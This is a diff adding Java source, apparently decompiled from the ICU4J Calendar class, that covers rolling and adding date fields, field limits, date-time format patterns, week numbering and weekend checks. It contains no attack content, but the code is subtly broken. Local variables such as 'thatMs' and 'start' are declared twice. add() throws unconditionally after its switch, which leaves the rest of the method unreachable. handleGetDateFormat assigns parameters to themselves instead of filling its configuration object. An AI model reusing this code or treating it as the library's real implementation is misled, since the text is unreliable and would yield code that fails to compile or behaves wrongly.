+    isTimeSet = (this.areFieldsSet = this.areAllFieldsSet = this.areFieldsVirtuallySet = 0);
+  }
+  
+
+
+
+
+
+  public final boolean isSet(int field)
+  {
+    return (areFieldsVirtuallySet) || (stamp[field] != 0);
+  }
+  
+
+
+
+
+  protected void complete()
+  {
+    if (!isTimeSet) updateTime();
+    if (!areFieldsSet) {
+      computeFields();
+      areFieldsSet = true;
+      areAllFieldsSet = true;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null) {
+      return false;
+    }
+    if (this == obj) {
+      return true;
+    }
+    if (getClass() != obj.getClass()) {
+      return false;
+    }
+    
+    Calendar that = (Calendar)obj;
+    
+    return (isEquivalentTo(that)) && (getTimeInMillis() == that.getTime().getTime());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isEquivalentTo(Calendar other)
+  {
+    return (getClass() == other.getClass()) && (isLenient() == other.isLenient()) && (getFirstDayOfWeek() == other.getFirstDayOfWeek()) && (getMinimalDaysInFirstWeek() == other.getMinimalDaysInFirstWeek()) && (getTimeZone().equals(other.getTimeZone())) && (getRepeatedWallTimeOption() == other.getRepeatedWallTimeOption()) && (getSkippedWallTimeOption() == other.getSkippedWallTimeOption());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return (lenient ? 1 : 0) | firstDayOfWeek << 1 | minimalDaysInFirstWeek << 4 | repeatedWallTime << 7 | skippedWallTime << 9 | zone.hashCode() << 11;
+  }
+  
+
+
+
+
+
+  private long compare(Object that)
+  {
+    long thatMs;
+    
+
+
+
+    if ((that instanceof Calendar)) {
+      thatMs = ((Calendar)that).getTimeInMillis(); } else { long thatMs;
+      if ((that instanceof Date)) {
+        thatMs = ((Date)that).getTime();
+      } else
+        throw new IllegalArgumentException(that + "is not a Calendar or Date"); }
+    long thatMs;
+    return getTimeInMillis() - thatMs;
+  }
+  
+
+
+
+
+
+
+
+  public boolean before(Object when)
+  {
+    return compare(when) < 0L;
+  }
+  
+
+
+
+
+
+
+
+  public boolean after(Object when)
+  {
+    return compare(when) > 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getActualMaximum(int field)
+  {
+    int result;
+    
+
+
+
+
+
+
+
+
+
+
+    switch (field)
+    {
+    case 5: 
+      Calendar cal = (Calendar)clone();
+      cal.setLenient(true);
+      cal.prepareGetActual(field, false);
+      result = handleGetMonthLength(cal.get(19), cal.get(2));
+      
+      break;
+    
+
+    case 6: 
+      Calendar cal = (Calendar)clone();
+      cal.setLenient(true);
+      cal.prepareGetActual(field, false);
+      result = handleGetYearLength(cal.get(19));
+      
+      break;
+    
+
+    case 0: 
+    case 7: 
+    case 9: 
+    case 10: 
+    case 11: 
+    case 12: 
+    case 13: 
+    case 14: 
+    case 15: 
+    case 16: 
+    case 18: 
+    case 20: 
+    case 21: 
+      result = getMaximum(field);
+      break;
+    case 1: case 2: case 3: 
+    case 4: case 8: case 17: 
+    case 19: default: 
+      result = getActualHelper(field, getLeastMaximum(field), getMaximum(field));
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int getActualMinimum(int field)
+  {
+    int result;
+    
+
+
+
+
+
+
+
+
+
+
+    switch (field)
+    {
+    case 7: 
+    case 9: 
+    case 10: 
+    case 11: 
+    case 12: 
+    case 13: 
+    case 14: 
+    case 15: 
+    case 16: 
+    case 18: 
+    case 20: 
+    case 21: 
+      result = getMinimum(field);
+      break;
+    case 8: case 17: 
+    case 19: 
+    default: 
+      result = getActualHelper(field, getGreatestMinimum(field), getMinimum(field));
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void prepareGetActual(int field, boolean isMinimum)
+  {
+    set(21, 0);
+    
+    switch (field) {
+    case 1: 
+    case 19: 
+      set(6, getGreatestMinimum(6));
+      break;
+    
+    case 17: 
+      set(3, getGreatestMinimum(3));
+      break;
+    
+    case 2: 
+      set(5, getGreatestMinimum(5));
+      break;
+    
+
+
+    case 8: 
+      set(5, 1);
+      set(7, get(7));
+      break;
+    
+
+
+
+
+
+    case 3: 
+    case 4: 
+      int dow = firstDayOfWeek;
+      if (isMinimum) {
+        dow = (dow + 6) % 7;
+        if (dow < 1) {
+          dow += 7;
+        }
+      }
+      set(7, dow);
+    }
+    
+    
+
+
+    set(field, getGreatestMinimum(field));
+  }
+  
+  private int getActualHelper(int field, int startValue, int endValue)
+  {
+    if (startValue == endValue)
+    {
+      return startValue;
+    }
+    
+    int delta = endValue > startValue ? 1 : -1;
+    
+
+
+    Calendar work = (Calendar)clone();
+    
+
+
+    work.complete();
+    
+    work.setLenient(true);
+    work.prepareGetActual(field, delta < 0);
+    
+
+
+
+
+    work.set(field, startValue);
+    
+
+
+
+
+    if ((work.get(field) != startValue) && (field != 4) && (delta > 0))
+    {
+      return startValue;
+    }
+    int result = startValue;
+    do {
+      startValue += delta;
+      work.add(field, delta);
+      if (work.get(field) != startValue) {
+        break;
+      }
+      result = startValue;
+    } while (startValue != endValue);
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void roll(int field, boolean up)
+  {
+    roll(field, up ? 1 : -1);
+  }
+  
+
+
+
+
+
+
+
+
+  static abstract class CalendarShim
+  {
+    CalendarShim() {}
+    
+
+
+
+
+
+
+
+
+    abstract Locale[] getAvailableLocales();
+    
+
+
+
+
+
+
+
+
+    abstract ULocale[] getAvailableULocales();
+    
+
+
+
+
+
+
+
+
+    abstract Object registerFactory(Calendar.CalendarFactory paramCalendarFactory);
+    
+
+
+
+
+
+
+
+    abstract boolean unregister(Object paramObject);
+    
+
+
+
+
+
+
+
+    abstract Calendar createInstance(ULocale paramULocale);
+  }
+  
+
+
+
+
+
+
+
+  public void roll(int field, int amount)
+  {
+    if (amount == 0) {
+      return;
+    }
+    
+    complete();
+    
+    switch (field)
+    {
+
+
+
+    case 0: 
+    case 5: 
+    case 9: 
+    case 12: 
+    case 13: 
+    case 14: 
+    case 21: 
+      int min = getActualMinimum(field);
+      int max = getActualMaximum(field);
+      int gap = max - min + 1;
+      
+      int value = internalGet(field) + amount;
+      value = (value - min) % gap;
+      if (value < 0) {
+        value += gap;
+      }
+      value += min;
+      
+      set(field, value);
+      return;
+    
+
+
+
+
+
+
+
+
+
+
+    case 10: 
+    case 11: 
+      long start = getTimeInMillis();
+      int oldHour = internalGet(field);
+      int max = getMaximum(field);
+      int newHour = (oldHour + amount) % (max + 1);
+      if (newHour < 0) {
+        newHour += max + 1;
+      }
+      setTimeInMillis(start + 3600000L * (newHour - oldHour));
+      return;
+    
+
+
+
+
+
+
+    case 2: 
+      int max = getActualMaximum(2);
+      int mon = (internalGet(2) + amount) % (max + 1);
+      
+      if (mon < 0) {
+        mon += max + 1;
+      }
+      set(2, mon);
+      
+
+
+
+      pinField(5);
+      return;
+    
+
+
+
+
+
+    case 1: 
+    case 17: 
+      boolean era0WithYearsThatGoBackwards = false;
+      int era = get(0);
+      if (era == 0) {
+        String calType = getType();
+        if ((calType.equals("gregorian")) || (calType.equals("roc")) || (calType.equals("coptic"))) {
+          amount = -amount;
+          era0WithYearsThatGoBackwards = true;
+        }
+      }
+      int newYear = internalGet(field) + amount;
+      if ((era > 0) || (newYear >= 1)) {
+        int maxYear = getActualMaximum(field);
+        if (maxYear < 32768)
+        {
+          if (newYear < 1) {
+            newYear = maxYear - -newYear % maxYear;
+          } else if (newYear > maxYear) {
+            newYear = (newYear - 1) % maxYear + 1;
+          }
+        }
+        else if (newYear < 1) {
+          newYear = 1;
+        }
+        
+
+      }
+      else if (era0WithYearsThatGoBackwards) {
+        newYear = 1;
+      }
+      set(field, newYear);
+      pinField(2);
+      pinField(5);
+      return;
+    
+
+    case 19: 
+      set(field, internalGet(field) + amount);
+      pinField(2);
+      pinField(5);
+      return;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    case 4: 
+      int dow = internalGet(7) - getFirstDayOfWeek();
+      if (dow < 0) { dow += 7;
+      }
+      
+
+      int fdm = (dow - internalGet(5) + 1) % 7;
+      if (fdm < 0) { fdm += 7;
+      }
+      
+      int start;
+      
+      int start;
+      
+      if (7 - fdm < getMinimalDaysInFirstWeek()) {
+        start = 8 - fdm;
+      } else {
+        start = 1 - fdm;
+      }
+      
+
+      int monthLen = getActualMaximum(5);
+      int ldm = (monthLen - internalGet(5) + dow) % 7;
+      
+
+
+
+
+
+      int limit = monthLen + 7 - ldm;
+      
+
+      int gap = limit - start;
+      int day_of_month = (internalGet(5) + amount * 7 - start) % gap;
+      
+      if (day_of_month < 0) day_of_month += gap;
+      day_of_month += start;
+      
+
+      if (day_of_month < 1) day_of_month = 1;
+      if (day_of_month > monthLen) { day_of_month = monthLen;
+      }
+      
+
+
+
+
+
+      set(5, day_of_month);
+      return;
+    
+
+
+
+
+
+
+
+    case 3: 
+      int dow = internalGet(7) - getFirstDayOfWeek();
+      if (dow < 0) { dow += 7;
+      }
+      
+
+      int fdy = (dow - internalGet(6) + 1) % 7;
+      if (fdy < 0) { fdy += 7;
+      }
+      
+      int start;
+      
+      int start;
+      
+      if (7 - fdy < getMinimalDaysInFirstWeek()) {
+        start = 8 - fdy;
+      } else {
+        start = 1 - fdy;
+      }
+      
+
+      int yearLen = getActualMaximum(6);
+      int ldy = (yearLen - internalGet(6) + dow) % 7;
+      
+
+
+
+
+
+      int limit = yearLen + 7 - ldy;
+      
+
+      int gap = limit - start;
+      int day_of_year = (internalGet(6) + amount * 7 - start) % gap;
+      
+      if (day_of_year < 0) day_of_year += gap;
+      day_of_year += start;
+      
+
+      if (day_of_year < 1) day_of_year = 1;
+      if (day_of_year > yearLen) { day_of_year = yearLen;
+      }
+      
+
+
+
+      set(6, day_of_year);
+      clear(2);
+      return;
+    
+
+
+
+    case 6: 
+      long delta = amount * 86400000L;
+      long min2 = time - (internalGet(6) - 1) * 86400000L;
+      int yearLength = getActualMaximum(6);
+      time = ((time + delta - min2) % (yearLength * 86400000L));
+      if (time < 0L) time += yearLength * 86400000L;
+      setTimeInMillis(time + min2);
+      return;
+    
+
+
+
+
+    case 7: 
+    case 18: 
+      long delta = amount * 86400000L;
+      
+
+      int leadDays = internalGet(field);
+      leadDays -= (field == 7 ? getFirstDayOfWeek() : 1);
+      if (leadDays < 0) leadDays += 7;
+      long min2 = time - leadDays * 86400000L;
+      time = ((time + delta - min2) % 604800000L);
+      if (time < 0L) time += 604800000L;
+      setTimeInMillis(time + min2);
+      return;
+    
+
+
+
+
+    case 8: 
+      long delta = amount * 604800000L;
+      
+
+      int preWeeks = (internalGet(5) - 1) / 7;
+      
+
+      int postWeeks = (getActualMaximum(5) - internalGet(5)) / 7;
+      
+
+      long min2 = time - preWeeks * 604800000L;
+      long gap2 = 604800000L * (preWeeks + postWeeks + 1);
+      
+      time = ((time + delta - min2) % gap2);
+      if (time < 0L) time += gap2;
+      setTimeInMillis(time + min2);
+      return;
+    
+    case 20: 
+      set(field, internalGet(field) + amount);
+      return;
+    }
+    
+    throw new IllegalArgumentException("Calendar.roll(" + fieldName(field) + ") not supported");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void add(int field, int amount)
+  {
+    if (amount == 0) {
+      return;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    long delta = amount;
+    boolean keepHourInvariant = true;
+    
+    switch (field) {
+    case 0: 
+      set(field, get(field) + amount);
+      pinField(0);
+      return;
+    
+
+
+
+
+
+
+
+
+    case 1: 
+    case 17: 
+      int era = get(0);
+      if (era == 0) {
+        String calType = getType();
+        if ((calType.equals("gregorian")) || (calType.equals("roc")) || (calType.equals("coptic"))) {
+          amount = -amount;
+        }
+      }
+    
+
+
+    case 2: 
+    case 19: 
+      boolean oldLenient = isLenient();
+      setLenient(true);
+      set(field, get(field) + amount);
+      pinField(5);
+      if (!oldLenient) {
+        complete();
+        setLenient(oldLenient);
+      }
+      
+      return;
+    
+    case 3: 
+    case 4: 
+    case 8: 
+      delta *= 604800000L;
+      break;
+    
+    case 9: 
+      delta *= 43200000L;
+      break;
+    
+    case 5: 
+    case 6: 
+    case 7: 
+    case 18: 
+    case 20: 
+      delta *= 86400000L;
+      break;
+    
+    case 10: 
+    case 11: 
+      delta *= 3600000L;
+      keepHourInvariant = false;
+      break;
+    
+    case 12: 
+      delta *= 60000L;
+      keepHourInvariant = false;
+      break;
+    
+    case 13: 
+      delta *= 1000L;
+      keepHourInvariant = false;
+      break;
+    
+    case 14: 
+    case 21: 
+      keepHourInvariant = false;
+      break;
+    }
+    
+    throw new IllegalArgumentException("Calendar.add(" + fieldName(field) + ") not supported");
+    
+
+
+
+
+
+
+    int prevOffset = 0;
+    int hour = 0;
+    if (keepHourInvariant) {
+      prevOffset = get(16) + get(15);
+      hour = internalGet(11);
+    }
+    
+    setTimeInMillis(getTimeInMillis() + delta);
+    
+    if (keepHourInvariant) {
+      int newOffset = get(16) + get(15);
+      if (newOffset != prevOffset)
+      {
+
+
+
+
+
+
+
+
+
+
+
+        long adjAmount = (prevOffset - newOffset) % 86400000L;
+        if (adjAmount != 0L) {
+          long t = time;
+          setTimeInMillis(time + adjAmount);
+          if (get(11) != hour) {
+            setTimeInMillis(t);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public String getDisplayName(Locale loc)
+  {
+    return getClass().getName();
+  }
+  
+
+
+
+  public String getDisplayName(ULocale loc)
+  {
+    return getClass().getName();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(Calendar that)
+  {
+    long v = getTimeInMillis() - that.getTimeInMillis();
+    return v > 0L ? 1 : v < 0L ? -1 : 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public DateFormat getDateTimeFormat(int dateStyle, int timeStyle, Locale loc)
+  {
+    return formatHelper(this, ULocale.forLocale(loc), dateStyle, timeStyle);
+  }
+  
+
+
+
+
+
+  public DateFormat getDateTimeFormat(int dateStyle, int timeStyle, ULocale loc)
+  {
+    return formatHelper(this, loc, dateStyle, timeStyle);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat handleGetDateFormat(String pattern, Locale locale)
+  {
+    return handleGetDateFormat(pattern, null, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat handleGetDateFormat(String pattern, String override, Locale locale)
+  {
+    return handleGetDateFormat(pattern, override, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat handleGetDateFormat(String pattern, ULocale locale)
+  {
+    return handleGetDateFormat(pattern, null, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat handleGetDateFormat(String pattern, String override, ULocale locale)
+  {
+    FormatConfiguration fmtConfig = new FormatConfiguration(null);
+    pattern = pattern;
+    override = override;
+    formatData = new DateFormatSymbols(this, locale);
+    loc = locale;
+    cal = this;
+    
+    return SimpleDateFormat.getInstance(fmtConfig);
+  }
+  
+
+  private static final ICUCache<String, PatternData> PATTERN_CACHE = new SimpleCache();
+  
+
+  private static final String[] DEFAULT_PATTERNS = { "HH:mm:ss z", "HH:mm:ss z", "HH:mm:ss", "HH:mm", "EEEE, yyyy MMMM dd", "yyyy MMMM d", "yyyy MMM d", "yy/MM/dd", "{1} {0}", "{1} {0}", "{1} {0}", "{1} {0}", "{1} {0}" };
+  
+
+
+
+  private static final char QUOTE = '\'';
+  
+
+
+
+  private static final int FIELD_DIFF_MAX_INT = Integer.MAX_VALUE;
+  
+
+
+
+
+  private static DateFormat formatHelper(Calendar cal, ULocale loc, int dateStyle, int timeStyle)
+  {
+    PatternData patternData = PatternData.make(cal, loc);
+    String override = null;
+    
+
+    String pattern = null;
+    if ((timeStyle >= 0) && (dateStyle >= 0)) {
+      pattern = MessageFormat.format(patternData.getDateTimePattern(dateStyle), new Object[] { patterns[timeStyle], patterns[(dateStyle + 4)] });
+      
+
+
+
+
+      if (overrides != null) {
+        String dateOverride = overrides[(dateStyle + 4)];
+        String timeOverride = overrides[timeStyle];
+        override = mergeOverrideStrings(patterns[(dateStyle + 4)], patterns[timeStyle], dateOverride, timeOverride);
+      }
+      
+
+    }
+    else if (timeStyle >= 0) {
+      pattern = patterns[timeStyle];
+      if (overrides != null) {
+        override = overrides[timeStyle];
+      }
+    } else if (dateStyle >= 0) {
+      pattern = patterns[(dateStyle + 4)];
+      if (overrides != null) {
+        override = overrides[(dateStyle + 4)];
+      }
+    } else {
+      throw new IllegalArgumentException("No date or time style specified");
+    }
+    DateFormat result = cal.handleGetDateFormat(pattern, override, loc);
+    result.setCalendar(cal);
+    return result;
+  }
+  
+
+  static class PatternData
+  {
+    public PatternData(String[] patterns, String[] overrides)
+    {
+      this.patterns = patterns;
+      this.overrides = overrides;
+    }
+    
+    private String getDateTimePattern(int dateStyle) { int glueIndex = 8;
+      if (patterns.length >= 13) {
+        glueIndex += dateStyle + 1;
+      }
+      String dateTimePattern = patterns[glueIndex];
+      return dateTimePattern; }
+    
+    private String[] patterns;
+    private String[] overrides;
+    private static PatternData make(Calendar cal, ULocale loc) { String calType = cal.getType();
+      String key = loc.getBaseName() + "+" + calType;
+      PatternData patternData = (PatternData)Calendar.PATTERN_CACHE.get(key);
+      if (patternData == null)
+      {
+        try {
+          CalendarData calData = new CalendarData(loc, calType);
+          patternData = new PatternData(calData.getDateTimePatterns(), calData.getOverrides());
+        }
+        catch (MissingResourceException e) {
+          patternData = new PatternData(Calendar.DEFAULT_PATTERNS, null);
+        }
+        Calendar.PATTERN_CACHE.put(key, patternData);
+      }
+      return patternData;
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static String getDateTimePattern(Calendar cal, ULocale uLocale, int dateStyle)
+  {
+    PatternData patternData = PatternData.make(cal, uLocale);
+    return patternData.getDateTimePattern(dateStyle);
+  }
+  
+
+  private static String mergeOverrideStrings(String datePattern, String timePattern, String dateOverride, String timeOverride)
+  {
+    if ((dateOverride == null) && (timeOverride == null)) {
+      return null;
+    }
+    
+    if (dateOverride == null) {
+      return expandOverride(timePattern, timeOverride);
+    }
+    
+    if (timeOverride == null) {
+      return expandOverride(datePattern, dateOverride);
+    }
+    
+    if (dateOverride.equals(timeOverride)) {
+      return dateOverride;
+    }
+    
+    return expandOverride(datePattern, dateOverride) + ";" + expandOverride(timePattern, timeOverride);
+  }
+  
+
+
+
+  private static String expandOverride(String pattern, String override)
+  {
+    if (override.indexOf('=') >= 0) {
+      return override;
+    }
+    boolean inQuotes = false;
+    char prevChar = ' ';
+    StringBuilder result = new StringBuilder();
+    
+    StringCharacterIterator it = new StringCharacterIterator(pattern);
+    
+    for (char c = it.first(); c != 65535; c = it.next())
+      if (c == '\'') {
+        inQuotes = !inQuotes;
+        prevChar = c;
+      }
+      else {
+        if ((!inQuotes) && (c != prevChar)) {
+          if (result.length() > 0) {
+            result.append(";");
+          }
+          result.append(c);
+          result.append("=");
+          result.append(override);
+        }
+        prevChar = c;
+      }
+    return result.toString();
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public static class FormatConfiguration
+  {
+    private String pattern;
+    
+    private String override;
+    
+    private DateFormatSymbols formatData;
+    
+    private Calendar cal;
+    
+    private ULocale loc;
+    
+
+    private FormatConfiguration() {}
+    
+
+    /**
+     * @deprecated
+     */
+    public String getPatternString()
+    {
+      return pattern;
+    }
+    
+    /**
+     * @deprecated
+     */
+    public String getOverrideString()
+    {
+      return override;
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public Calendar getCalendar()
+    {
+      return cal;
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public ULocale getLocale()
+    {
+      return loc;
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public DateFormatSymbols getDateFormatSymbols()
+    {
+      return formatData;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void pinField(int field)
+  {
+    int max = getActualMaximum(field);
+    int min = getActualMinimum(field);
+    
+    if (fields[field] > max) {
+      set(field, max);
+    } else if (fields[field] < min) {
+      set(field, min);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int weekNumber(int desiredDay, int dayOfPeriod, int dayOfWeek)
+  {
+    int periodStartDayOfWeek = (dayOfWeek - getFirstDayOfWeek() - dayOfPeriod + 1) % 7;
+    if (periodStartDayOfWeek < 0) { periodStartDayOfWeek += 7;
+    }
+    
+
+
+    int weekNo = (desiredDay + periodStartDayOfWeek - 1) / 7;
+    
+
+
+
+    if (7 - periodStartDayOfWeek >= getMinimalDaysInFirstWeek()) { weekNo++;
+    }
+    return weekNo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final int weekNumber(int dayOfPeriod, int dayOfWeek)
+  {
+    return weekNumber(dayOfPeriod, dayOfPeriod, dayOfWeek);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int fieldDifference(Date when, int field)
+  {
+    int min = 0;
+    long startMs = getTimeInMillis();
+    long targetMs = when.getTime();
+    
+
+
+
+
+
+    if (startMs < targetMs) {
+      int max = 1;
+      for (;;)
+      {
+        setTimeInMillis(startMs);
+        add(field, max);
+        long ms = getTimeInMillis();
+        if (ms == targetMs)
+          return max;
+        if (ms > targetMs)
+          break;
+        if (max < Integer.MAX_VALUE) {
+          min = max;
+          max <<= 1;
+          if (max < 0) {
+            max = Integer.MAX_VALUE;
+          }
+        }
+        else {
+          throw new RuntimeException();
+        }
+      }
+      
+      while (max - min > 1) {
+        int t = min + (max - min) / 2;
+        setTimeInMillis(startMs);
+        add(field, t);
+        long ms = getTimeInMillis();
+        if (ms == targetMs)
+          return t;
+        if (ms > targetMs) {
+          max = t;
+        } else {
+          min = t;
+        }
+      }
+    } else if (startMs > targetMs)
+    {
+
+
+
+
+
+
+
+      int max = -1;
+      for (;;)
+      {
+        setTimeInMillis(startMs);
+        add(field, max);
+        long ms = getTimeInMillis();
+        if (ms == targetMs)
+          return max;
+        if (ms < targetMs) {
+          break;
+        }
+        min = max;
+        max <<= 1;
+        if (max == 0)
+        {
+          throw new RuntimeException();
+        }
+      }
+      
+
+      while (min - max > 1) {
+        int t = min + (max - min) / 2;
+        setTimeInMillis(startMs);
+        add(field, t);
+        long ms = getTimeInMillis();
+        if (ms == targetMs)
+          return t;
+        if (ms < targetMs) {
+          max = t;
+        } else {
+          min = t;
+        }
+      }
+    }
+    
+    setTimeInMillis(startMs);
+    add(field, min);
+    return min;
+  }
+  
+
+
+
+
+
+  public void setTimeZone(TimeZone value)
+  {
+    zone = value;
+    
+
+
+
+
+
+
+
+
+    areFieldsSet = false;
+  }
+  
+
+
+
+
+
+  public TimeZone getTimeZone()
+  {
+    return zone;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setLenient(boolean lenient)
+  {
+    this.lenient = lenient;
+  }
+  
+
+
+
+
+  public boolean isLenient()
+  {
+    return lenient;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setRepeatedWallTimeOption(int option)
+  {
+    if ((option != 0) && (option != 1)) {
+      throw new IllegalArgumentException("Illegal repeated wall time option - " + option);
+    }
+    repeatedWallTime = option;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRepeatedWallTimeOption()
+  {
+    return repeatedWallTime;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setSkippedWallTimeOption(int option)
+  {
+    if ((option != 0) && (option != 1) && (option != 2)) {
+      throw new IllegalArgumentException("Illegal skipped wall time option - " + option);
+    }
+    skippedWallTime = option;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getSkippedWallTimeOption()
+  {
+    return skippedWallTime;
+  }
+  
+
+
+
+
+
+
+  public void setFirstDayOfWeek(int value)
+  {
+    if (firstDayOfWeek != value) {
+      if ((value < 1) || (value > 7)) {
+        throw new IllegalArgumentException("Invalid day of week");
+      }
+      firstDayOfWeek = value;
+      areFieldsSet = false;
+    }
+  }
+  
+
+
+
+
+
+
+  public int getFirstDayOfWeek()
+  {
+    return firstDayOfWeek;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setMinimalDaysInFirstWeek(int value)
+  {
+    if (value < 1) {
+      value = 1;
+    } else if (value > 7) {
+      value = 7;
+    }
+    if (minimalDaysInFirstWeek != value) {
+      minimalDaysInFirstWeek = value;
+      areFieldsSet = false;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getMinimalDaysInFirstWeek()
+  {
+    return minimalDaysInFirstWeek;
+  }
+  
+  private static final int[][] LIMITS = { new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { 1, 1, 7, 7 }, new int[0], { 0, 0, 1, 1 }, { 0, 0, 11, 11 }, { 0, 0, 23, 23 }, { 0, 0, 59, 59 }, { 0, 0, 59, 59 }, { 0, 0, 999, 999 }, { -43200000, -43200000, 43200000, 43200000 }, { 0, 0, 3600000, 3600000 }, new int[0], { 1, 1, 7, 7 }, new int[0], { -2130706432, -2130706432, 2130706432, 2130706432 }, { 0, 0, 86399999, 86399999 }, { 0, 0, 1, 1 } };
+  
+
+
+
+
+
+
+
+  protected static final int MINIMUM = 0;
+  
+
+
+
+
+
+
+
+  protected static final int GREATEST_MINIMUM = 1;
+  
+
+
+
+
+
+
+  protected static final int LEAST_MAXIMUM = 2;
+  
+
+
+
+
+
+
+  protected static final int MAXIMUM = 3;
+  
+
+
+
+
+
+
+  protected static final int RESOLVE_REMAP = 32;
+  
+
+
+
+
+
+
+
+  protected abstract int handleGetLimit(int paramInt1, int paramInt2);
+  
+
+
+
+
+
+
+
+  protected int getLimit(int field, int limitType)
+  {
+    switch (field) {
+    case 7: 
+    case 9: 
+    case 10: 
+    case 11: 
+    case 12: 
+    case 13: 
+    case 14: 
+    case 15: 
+    case 16: 
+    case 18: 
+    case 20: 
+    case 21: 
+    case 22: 
+      return LIMITS[field][limitType];
+    case 4: 
+      int limit;
+      
+      int limit;
+      if (limitType == 0) {
+        limit = getMinimalDaysInFirstWeek() == 1 ? 1 : 0; } else { int limit;
+        if (limitType == 1) {
+          limit = 1;
+        } else {
+          int minDaysInFirst = getMinimalDaysInFirstWeek();
+          int daysInMonth = handleGetLimit(5, limitType);
+          int limit; if (limitType == 2) {
+            limit = (daysInMonth + (7 - minDaysInFirst)) / 7;
+          } else
+            limit = (daysInMonth + 6 + (7 - minDaysInFirst)) / 7;
+        }
+      }
+      return limit;
+    }
+    
+    
+    return handleGetLimit(field, limitType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int getMinimum(int field)
+  {
+    return getLimit(field, 0);
+  }
+  
+
+
+
+
+
+
+  public final int getMaximum(int field)
+  {
+    return getLimit(field, 3);
+  }
+  
+
+
+
+
+
+
+  public final int getGreatestMinimum(int field)
+  {
+    return getLimit(field, 1);
+  }
+  
+
+
+
+
+
+
+  public final int getLeastMaximum(int field)
+  {
+    return getLimit(field, 2);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getDayOfWeekType(int dayOfWeek)
+  {
+    if ((dayOfWeek < 1) || (dayOfWeek > 7)) {
+      throw new IllegalArgumentException("Invalid day of week");
+    }
+    if (weekendOnset < weekendCease) {
+      if ((dayOfWeek < weekendOnset) || (dayOfWeek > weekendCease)) {
+        return 0;
+      }
+    }
+    else if ((dayOfWeek > weekendCease) && (dayOfWeek < weekendOnset)) {
+      return 0;
+    }
+    
+    if (dayOfWeek == weekendOnset) {
+      return weekendOnsetMillis == 0 ? 1 : 2;
+    }
+    if (dayOfWeek == weekendCease) {
+      return weekendCeaseMillis == 0 ? 0 : 3;
+    }
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getWeekendTransition(int dayOfWeek)
+  {
+    if (dayOfWeek == weekendOnset)
+      return weekendOnsetMillis;
+    if (dayOfWeek == weekendCease) {
+      return weekendCeaseMillis;
+    }
+    throw new IllegalArgumentException("Not weekend transition day");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isWeekend(Date date)
+  {
+    setTime(date);
+    return isWeekend();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isWeekend()
+  {
+    int dow = get(7);
+    int dowt = getDayOfWeekType(dow);
+    switch (dowt) {
+    case 0: 
+      return false;
+    case 1: 
+      return true;
+    }
+    
+    
+
+
+
